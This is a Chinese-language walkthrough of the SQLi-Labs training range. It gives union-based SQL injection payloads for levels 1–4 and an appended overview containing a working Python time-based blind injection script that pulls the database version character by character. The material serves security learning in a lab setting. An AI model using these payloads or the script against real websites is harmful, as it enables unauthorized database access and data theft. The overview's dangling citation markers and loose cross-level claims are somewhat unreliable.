sqli-labs通关攻略

一.less-1

进入第一关先输入一个id的传参输入?id=1

按照正常的注入思维首先判断它有没有把我们找个?id=1,拼接到SQL语句中并且当作SQL代码进行执行,这个时候判断注入点输入?id=1 and 1=1和?id=1 and 1=2我们发现没有变化 字符型

尝试闭合发现?id=1'闭合

用--+注释

查找他当前的字段数?id=1 'order by 1-- q 依次输入到order by 4出现错误所以有3列

那就说明这个地方存在于三个字段,后面判断显存位使用联合查询union select 1,2,3(判断出三个就写三个,123没有任何含义11,22,33都可以)

找个显示的2,3就是我们显示位的意思我们更换成database(),显示其数据库名

判断表名?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+

查询emails数据?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- +(改变limit 2,1 进行查询)

判断列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'%20 -- +

二.less-2

三.less-3

四.less-4

这三关和第一关都一样只是闭合方式不同第二关为数字型

第三关闭合为?id=1')

第四关闭合为?id=1")

### 关于 SQLi-Labs 的全面解决方案 SQLi-Labs 是一款经典的 Web 安全学习工具,主要用于练习和掌握 SQL 注入技术。以下是针对 SQLi-Labs 靶场的全部关卡解决方案概述。 #### 一、基础环境搭建 在开始解决各个关卡之前,需要确保靶场已成功部署并运行正常。可以通过以下方式完成安装: - 下载 SQLi-Labs 源码包,并将其放置到本地服务器的 `www` 或者 `htdocs` 文件夹下。 - 启动 Apache 和 MySQL 服务后,在浏览器中输入地址 `http://127.0.0.1/` 访问站点[^2]。 如果遇到权限问题或者无法创建临时文件的情况,则需调整目标目录的读写权限设置[^3]。 #### 二、各关卡解析思路概览 ##### Less-1 到 Less-4 这些初级题目主要考察基本的手工注入技巧以及如何利用单引号闭合查询条件来绕过验证机制。例如,在第32关里提到的方法同样适用于此阶段——即尝试向参数附加特殊字符如 `%df`,进而观察返回结果的变化情况从而推测内部逻辑结构[^1]。 ##### 中级挑战 (Less-5 至 Less-16) 随着难度增加,中级部分引入了更多复杂的场景比如时间延迟型盲注(Time-based Blind Injection),布尔型盲注(Boolean-based Blind Injection)等概念。对于这类问题通常采用如下策略: ###### 时间基线测试法 当面对不可见反馈信息时,可通过构造特定payload让数据库执行耗时操作以间接获知某些细节。举个例子来说就是下面这个Python脚本片段展示了如何去探测当前使用的DBMS版本号的一部分内容: ```python import time import requests def get_db_version(): version = "" index = 1 while True: found_char = False for char_code in range(33, 126): # ASCII printable characters payload = f"' OR IF(SUBSTRING(@@version,{index},1)=CHAR({char_code}),SLEEP(5),NULL)-- " start_time = time.time() try: res = requests.get(f"http://target-site.com/vulnerable-page?id={payload}") elapsed_time = time.time() - start_time if elapsed_time >= 5: version += chr(char_code) print(f"[+] Found character: {chr(char_code)}") index += 1 found_char = True break except Exception as e: pass if not found_char: break return version print(get_db_version()) ``` 上述代码通过不断改变SUBSTRING函数中的位置索引来逐字提取数据表的名字或者其他敏感资料[^4]。 ##### 高阶难题 (Beyond Level 16) 更高层次的任务往往涉及到联合查询 UNION SELECT ,堆叠式多条命令 Stacked Queries 及其他高级手法的应用场合。此时除了要具备扎实的基础理论功底之外还需要灵活运用各种编程语言编写自动化攻击程序辅助分析过程。 --- ### 注意事项 尽管本文提供了大量实用的技术指导方针,但在实际动手实践过程中仍需注意安全伦理规范,仅限于授权范围内的渗透测试活动之中应用所学知识技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值